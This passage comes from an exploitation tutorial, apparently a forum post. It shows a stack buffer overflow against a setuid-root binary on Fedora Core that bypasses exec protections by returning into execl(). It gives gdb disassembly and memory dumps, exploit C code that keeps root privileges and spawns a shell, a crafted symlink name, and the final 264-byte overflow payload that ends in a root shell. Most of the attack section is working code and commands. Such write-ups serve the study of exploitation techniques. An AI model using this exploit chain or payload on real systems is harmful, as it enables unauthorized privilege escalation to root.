0x005fea32 <execl+50>:  movl   $0x1,0xffffffec(%ebp)
0x005fea39 <execl+57>:  je     0x5fea73 <execl+115>
0x005fea3b <execl+59>:  movl   $0x1a,0xffffffe0(%ebp)
0x005fea42 <execl+66>:  lea    0x0(%esi),%esi
0x005fea49 <execl+73>:  lea    0x0(%edi),%edi
0x005fea50 <execl+80>:  mov    0xfffffff0(%ebp),%edx
0x005fea53 <execl+83>:  cmp    %edx,0xffffffec(%ebp)
0x005fea56 <execl+86>:  je     0x5fea96 <execl+150>
0x005fea58 <execl+88>:  addl   $0x8,0xffffffe0(%ebp)
0x005fea5c <execl+92>:  mov    0xffffffe8(%ebp),%edx
0x005fea5f <execl+95>:  mov    0xffffffec(%ebp),%edi
0x005fea62 <execl+98>:  addl   $0x4,0xffffffe8(%ebp)
0x005fea66 <execl+102>: mov    (%edx),%ecx
0x005fea68 <execl+104>: mov    %ecx,(%esi,%edi,4)
0x005fea6b <execl+107>: inc    %edi
0x005fea6c <execl+108>: test   %ecx,%ecx
0x005fea6e <execl+110>: mov    %edi,0xffffffec(%ebp)
0x005fea71 <execl+113>: jne    0x5fea50 <execl+80>
0x005fea73 <execl+115>: mov    0xfffffee0(%ebx),%edi
0x005fea79 <execl+121>: mov    (%edi),%ecx
0x005fea7b <execl+123>: mov    %esi,0x4(%esp)
0x005fea7f <execl+127>: mov    0x8(%ebp),%esi
0x005fea82 <execl+130>: mov    %ecx,0x8(%esp)
0x005fea86 <execl+134>: mov    %esi,(%esp)
0x005fea89 <execl+137>: call   0x5fe7a0 <execve>
0x005fea8e <execl+142>: lea    0xfffffff4(%ebp),%esp
0x005fea91 <execl+145>: pop    %ebx
0x005fea92 <execl+146>: pop    %esi
0x005fea93 <execl+147>: pop    %edi
0x005fea94 <execl+148>: pop    %ebp
0x005fea95 <execl+149>: ret
0x005fea96 <execl+150>: mov    0xffffffec(%ebp),%edx
0x005fea99 <execl+153>: mov    0xffffffe0(%ebp),%ecx
0x005fea9c <execl+156>: add    %edx,%edx
0x005fea9e <execl+158>: mov    %edx,0xffffffe4(%ebp)
0x005feaa1 <execl+161>: and    $0xfffffffc,%ecx
0x005feaa4 <execl+164>: sub    %ecx,%esp
0x005feaa6 <execl+166>: mov    %edx,0xfffffff0(%ebp)
0x005feaa9 <execl+169>: mov    0xffffffe4(%ebp),%eax
0x005feaac <execl+172>: lea    0x1b(%esp),%edx
0x005feab0 <execl+176>: and    $0xfffffff0,%edx
0x005feab3 <execl+179>: lea    (%eax,%edx,1),%edi
0x005feab6 <execl+182>: cmp    %esi,%edi
0x005feab8 <execl+184>: je     0x5feacc <execl+204>
0x005feaba <execl+186>: cld
0x005feabb <execl+187>: mov    0xffffffec(%ebp),%ecx
0x005feabe <execl+190>: mov    %edx,%edi
0x005feac0 <execl+192>: shl    $0x2,%ecx
0x005feac3 <execl+195>: shr    $0x2,%ecx
0x005feac6 <execl+198>: repz movsl %ds:(%esi),%es:(%edi)
0x005feac8 <execl+200>: mov    %edx,%esi
0x005feaca <execl+202>: jmp    0x5fea58 <execl+88>
0x005feacc <execl+204>: cld
0x005feacd <execl+205>: mov    0xffffffec(%ebp),%ecx
0x005fead0 <execl+208>: mov    %edx,%edi
0x005fead2 <execl+210>: shl    $0x2,%ecx
0x005fead5 <execl+213>: shr    $0x2,%ecx
0x005fead8 <execl+216>: repz movsl %ds:(%esi),%es:(%edi)
0x005feada <execl+218>: mov    %edx,%esi
0x005feadc <execl+220>: mov    0xffffffe4(%ebp),%edi
0x005feadf <execl+223>: mov    0xffffffec(%ebp),%eax
0x005feae2 <execl+226>: add    %eax,%edi
0x005feae4 <execl+228>: mov    %edi,0xfffffff0(%ebp)
0x005feae7 <execl+231>: jmp    0x5fea58 <execl+88>
0x005feaec <execl+236>: nop
0x005feaed <execl+237>: nop
0x005feaee <execl+238>: nop
0x005feaef <execl+239>: nop
End of assembler dump.
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@testbed fedora]$


The reason why we don't the address of <execl+0> or <execl+1> is that the value of %ebp may be changed if "push %ebp" or "mov %esp,%ebp" is executed. We found the address of <execl+3>
very easily by using gdb: 0x005fea03.



Now, the second step...
Let's examine the data segment area to find the arguments of execl(). As you saw in the
"Memory Mapping Table", data segment starts at 0x8049000.


[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
  ±ê³µ.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared
library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.

Breakpoint 1, 0x08048379 in main ()
(gdb) x/50x 0x8049000
0x8049000:      0x464c457f      0x00010101      0x00000000      0x00000000
0x8049010:      0x00030002      0x00000001      0x080482c0      0x00000034
0x8049020:      0x00000788      0x00000000      0x00200034      0x00280007
0x8049030:      0x0019001c      0x00000006      0x00000034      0x08048034
0x8049040:      0x08048034      0x000000e0      0x000000e0      0x00000005
0x8049050:      0x00000004      0x00000003      0x00000114      0x08048114
0x8049060:      0x08048114      0x00000013      0x00000013      0x00000004
0x8049070:      0x00000001      0x00000001      0x00000000      0x08048000
0x8049080:      0x08048000      0x0000047c      0x0000047c      0x00000005
0x8049090:      0x00001000      0x00000001      0x0000047c      0x0804947c
0x80490a0:      0x0804947c      0x00000100      0x00000104      0x00000006
0x80490b0:      0x00001000      0x00000002      0x00000490      0x08049490
0x80490c0:      0x08049490      0x000000c8
(gdb)
0x80490c8:      0x000000c8      0x00000006      0x00000004      0x00000004
0x80490d8:      0x00000128      0x08048128      0x08048128      0x00000020
0x80490e8:      0x00000020      0x00000004      0x00000004      0x6474e551
0x80490f8:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049108:      0x00000000      0x00000006      0x00000004      0x62696c2f
0x8049118:      0x2d646c2f      0x756e696c      0x6f732e78      0x0000322e
0x8049128:      0x00000004      0x00000010      0x00000001      0x00554e47
0x8049138:      0x00000000      0x00000002      0x00000002      0x00000005
0x8049148:      0x00000003      0x00000006      0x00000004      0x00000001
0x8049158:      0x00000005      0x00000000      0x00000000      0x00000000
0x8049168:      0x00000000      0x00000003      0x00000002      0x00000000
0x8049178:      0x00000000      0x00000000      0x00000000      0x00000044
0x8049188:      0x00000000      0x000000ef
(gdb)
0x8049190:      0x00000012      0x00000035      0x08048474      0x00000004
0x80491a0:      0x000e0011      0x00000001      0x00000000      0x00000000
0x80491b0:      0x00000020      0x00000015      0x00000000      0x00000000
0x80491c0:      0x00000020      0x0000002e      0x00000000      0x00000030
0x80491d0:      0x00000012      0x764a5f00      0x6765525f      0x65747369
0x80491e0:      0x616c4372      0x73657373      0x675f5f00      0x5f6e6f6d
0x80491f0:      0x72617473      0x005f5f74      0x6362696c      0x2e6f732e
0x8049200:      0x74730036      0x79706372      0x4f495f00      0x6474735f
0x8049210:      0x755f6e69      0x00646573      0x696c5f5f      0x735f6362
0x8049220:      0x74726174      0x69616d5f      0x4c47006e      0x5f434249
0x8049230:      0x00302e32      0x00020000      0x00000001      0x00020000
0x8049240:      0x00010001      0x00000024      0x00000010      0x00000000
0x8049250:      0x0d696910      0x00020000
(gdb)
0x8049258:      0x00000056      0x00000000      0x08049558      0x00000406
0x8049268:      0x08049568      0x00000107      0x0804956c      0x00000507
0x8049278:      0x83e58955      0x61e808ec      0xe8000000      0x000000bc
0x8049288:      0x0001a3e8      0x00c3c900      0x956035ff      0x25ff0804
0x8049298:      0x08049564      0x00000000      0x956825ff      0x00680804
0x80492a8:      0xe9000000      0xffffffe0      0x956c25ff      0x08680804
0x80492b8:      0xe9000000      0xffffffd0      0x895eed31      0xf0e483e1
0x80492c8:      0x68525450      0x080483ec      0x0483a468      0x68565108
0x80492d8:      0x08048370      0xffffbfe8      0x9090f4ff      0x53e58955
0x80492e8:      0x000000e8      0xc3815b00      0x0000126f      0xfc838b50
0x80492f8:      0x85ffffff      0xff0274c0      0xfc5d8bd0      0x9090c3c9
0x8049308:      0x83e58955      0x3d8008ec      0x0804957c      0xa1297500
0x8049318:      0x08049578      0xd285108b
(gdb)
0x8049320:      0xf6891774      0xa304c083      0x08049578      0x78a1d2ff
0x8049330:      0x8b080495      0x75d28510      0x7c05c6eb      0x01080495
0x8049340:      0xf689c3c9      0x83e58955      0x8ca108ec      0x85080494
0x8049350:      0xb81974c0      0x00000000      0x1074c085      0x680cec83
0x8049360:      0x0804948c      0xc483d0ff      0x00768d10      0x9090c3c9
0x8049370:      0x81e58955      0x000108ec      0xf0e48300      0x000000b8
0x8049380:      0x83c42900      0x458b08ec      0x04c0830c      0x858d30ff
0x8049390:      0xfffffef8      0xff16e850      0xc483ffff      0x0000b810
0x80493a0:      0xc3c90000      0x57e58955      0xec835356      0x0000e80c
0x80493b0:      0x815b0000      0x0011aac3      0xfebae800      0x938dffff
0x80493c0:      0xffffff20      0xff208b8d      0xca29ffff      0xfac1f631
0x80493d0:      0x73d63902      0x90d7890f      0x20b394ff      0x46ffffff
0x80493e0:      0xf472fe39      0x5b0cc483
(gdb)
0x80493e8:      0xc3c95f5e      0x56e58955      0x0000e853      0x815b0000
0x80493f8:      0x001166c3      0x208b8d00      0x8dffffff      0xffff2083
0x8049408:      0xc1c129ff      0xc98502f9      0x75ff718d      0x003ae80b
0x8049418:      0x5e5b0000      0xf689c3c9      0x20b394ff      0x89ffffff
0x8049428:      0xd2854ef2      0xe5ebf275      0x53e58955      0x947ca152
0x8049438:      0xf8830804      0x947cbbff      0x0c740804      0xff04eb83
0x8049448:      0x83038bd0      0xf475fff8      0xc3c95b58      0x53e58955
0x8049458:      0x000000e8      0xc3815b00      0x000010ff      0xfe9ee852
0x8049468:      0x5d8bffff      0x00c3c9fc      0x00000003      0x00020001
0x8049478:      0x00000000      0xffffffff      0x00000000      0xffffffff
0x8049488 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000024 0x8049498 <_DYNAMIC+8>: 0x0000000c 0x08048278 0x0000000d 0x08048454
0x80494a8 <_DYNAMIC+24>:        0x00000004      0x08048148
(gdb)
0x80494b0 <_DYNAMIC+32>: 0x00000005 0x080481d4 0x00000006 0x08048174 0x80494c0 <_DYNAMIC+48>: 0x0000000a 0x00000060 0x0000000b 0x00000010 0x80494d0 <_DYNAMIC+64>: 0x00000015 0x005714b8 0x00000003 0x0804955c 0x80494e0 <_DYNAMIC+80>: 0x00000002 0x00000010 0x00000014 0x00000011 0x80494f0 <_DYNAMIC+96>: 0x00000017 0x08048268 0x00000011 0x08048260 0x8049500 <_DYNAMIC+112>: 0x00000012 0x00000008 0x00000013 0x00000008 0x8049510 <_DYNAMIC+128>: 0x6ffffffe 0x08048240 0x6fffffff 0x00000001 0x8049520 <_DYNAMIC+144>: 0x6ffffff0 0x08048234 0x00000000 0x00000000 0x8049530 <_DYNAMIC+160>: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049540 <_DYNAMIC+176>: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049550 <_DYNAMIC+192>: 0x00000000 0x00000000 0x00000000 0x08049490 0x8049560 <_GLOBAL_OFFSET_TABLE_+4>: 0x005714d0 0x00566830 0x0058c9f0 0x080482b6
0x8049570 <data_start>: 0x00000000      0x00000000
(gdb) x/8x 0x8049564
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6 0x00000000 0x8049574 <__dso_handle>: 0x00000000 0x08049488 0x00000000 0x00000000
(gdb)



We found the parts which can be used as arguments of execl(). The synopsis is as follows:


                execl(char *path, char *arg0,...,char *argn, 0);


As you know and see, the last argument of execl() must be null. So, the parts which can be
used as arguments of execl() for the sake of our purpose are underlined.



0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830 0x0058c9f0 0x080482b6 0x00000000 ---------- ---------- ----------



We will use execl() like "execl(0x8049568, 0x804956c, 0x8049570)". We have to use address
values because the arguments must be pointers.



The 3rd step...
Let's examine the values of first argument of execl() to use symbolic link.



(gdb) x/8x 0x0058c9f0
0x58c9f0 <__libc_start_main>: 0x57e58955 0xec835356 0x0c458b4c 0xe810558b ---------- ---------- ---------- ----------

0x58ca00 <__libc_start_main+16>: 0xffffff09 0x25f8c381 0x7d8b0010 0x1c758b18
                                 ----------    ----------              --
(gdb) x/8x 0x080482b6
0x80482b6 <_init+62>: 0x00000868 0xffd0e900 0xed31ffff 0x83e1895e 0x80482c6 <_start+6>: 0x5450f0e4 0x83ec6852 0xa4680804 0x51080483
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@testbed fedora]$



The 25 bytes' data in 0x0058c9f0 is the file name when execl() is called. So we need to make
a symbolic link with this data. Now we make a exploit program.


The fourth step...
Let's make an exploit code which can keep the privilege of a process and spawn a shell. This exploit will be able to keep the privilege(setuid(0)) of the vulnerable program and give a
root shell when we succeed in the attack.


[vangelis@testbed fedora]$ cat > exploit.c
#include <unistd.h>

main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/sh", "sh", 0);
}
[vangelis@testbed fedora]$ gcc -o exploit exploit.c




The Fifth step...
It's time to make a symbolic link to the exploit with the values of first argument of execl().


[vangelis@testbed fedora]$ ln -s /home/vangelis/fedora/exploit "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10", "\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`"


Let's check the state of symboloic link.

[vangelis@testbed fedora]$ ls -l
í©ê³
    24
lrwxrwxrwx 1 vangelis vangelis 29 11?12 11:28 U??WVS??L?E??U?????????%? -> /home/vangelis/fedora/exploit
-rwxrwxr-x  1 vangelis vangelis 5186 11?12 11:27 exploit
-rw-rw-r--  1 vangelis vangelis  101 11?12 11:27 exploit.c
-rwsr-xr-x  1 root     root     4725 11?12 10:31 vul
-rw-rw-r--  1 vangelis vangelis   90 11?12 10:31 vul.c
[vangelis@testbed fedora]$


Good..



The last step...
Before we make a payload for the final attack, we have to check how many data we need to overflow buffer. We can use gdb for this purpose. I believe you are not such a fool to decide the bytes of data to overflow through the glimp of source code of vul.c. My last post to Neworder("Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique",http://neworder.box.sk/newsread.php?newsid=12476) shows that we must
consider the dummy value.



[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>:    push   %ebp
0x08048371 <main+1>:    mov    %esp,%ebp
0x08048373 <main+3>: sub $0x108,%esp // 264 bytes are needed to overflow buffer
0x08048379 <main+9>:    and    $0xfffffff0,%esp
0x0804837c <main+12>:   mov    $0x0,%eax
0x08048381 <main+17>:   sub    %eax,%esp
0x08048383 <main+19>:   sub    $0x8,%esp
0x08048386 <main+22>:   mov    0xc(%ebp),%eax
0x08048389 <main+25>:   add    $0x4,%eax
0x0804838c <main+28>:   pushl  (%eax)
0x0804838e <main+30>:   lea    0xfffffef8(%ebp),%eax
0x08048394 <main+36>:   push   %eax
0x08048395 <main+37>:   call   0x80482b0 <_init+56>
0x0804839a <main+42>:   add    $0x10,%esp
0x0804839d <main+45>:   mov    $0x0,%eax
0x080483a2 <main+50>:   leave
0x080483a3 <main+51>:   ret
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$




Now we gathered all data that are necessary to make a wonderful hammer to break down the
'exec-barrier'. Let's be a knight of the hammer.


The final payload is as follows:


+-------------------------+--------------------------------+---------------+ | data to overflow buffer | *first argument of execl() - 8 | *<execl + 3> | +-------------------------+--------------------------------+---------------+
               ^                                ^                    ^
               |                                |                    |

           264 bytes         0x8049568 - 8 = 0x8049560            0x5fea03



Now we gathered all data that are necessary to make a wonderful hammer to break down the 'exec-barrier'. The reason of "*first argument of execl() - 8" is that execl() does its work with calling execve() internally and execve() references 'ebp+8' when it gets
the pointer to a file name.


Let's swing the hammer.


[vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x264,"\x60\x95\x04\x08\x03\xea\x5f"'`
sh-2.05b# id
uid=0(root) gid=501(vangelis) groups=501(vangelis)
sh-2.05b# whoami
root
sh-2.05b#



Wow, you break down the 'exec-barrier'!  You got a root shell.
What a nice knight of the hammer you are!


I want to say that this may not be a perfect manual to exploit overflow vulnerability under Fedora Core environment. If someone knows more advanced ways to exploit, I want
his or her feedback. Thank you for reading this article.


- EOF -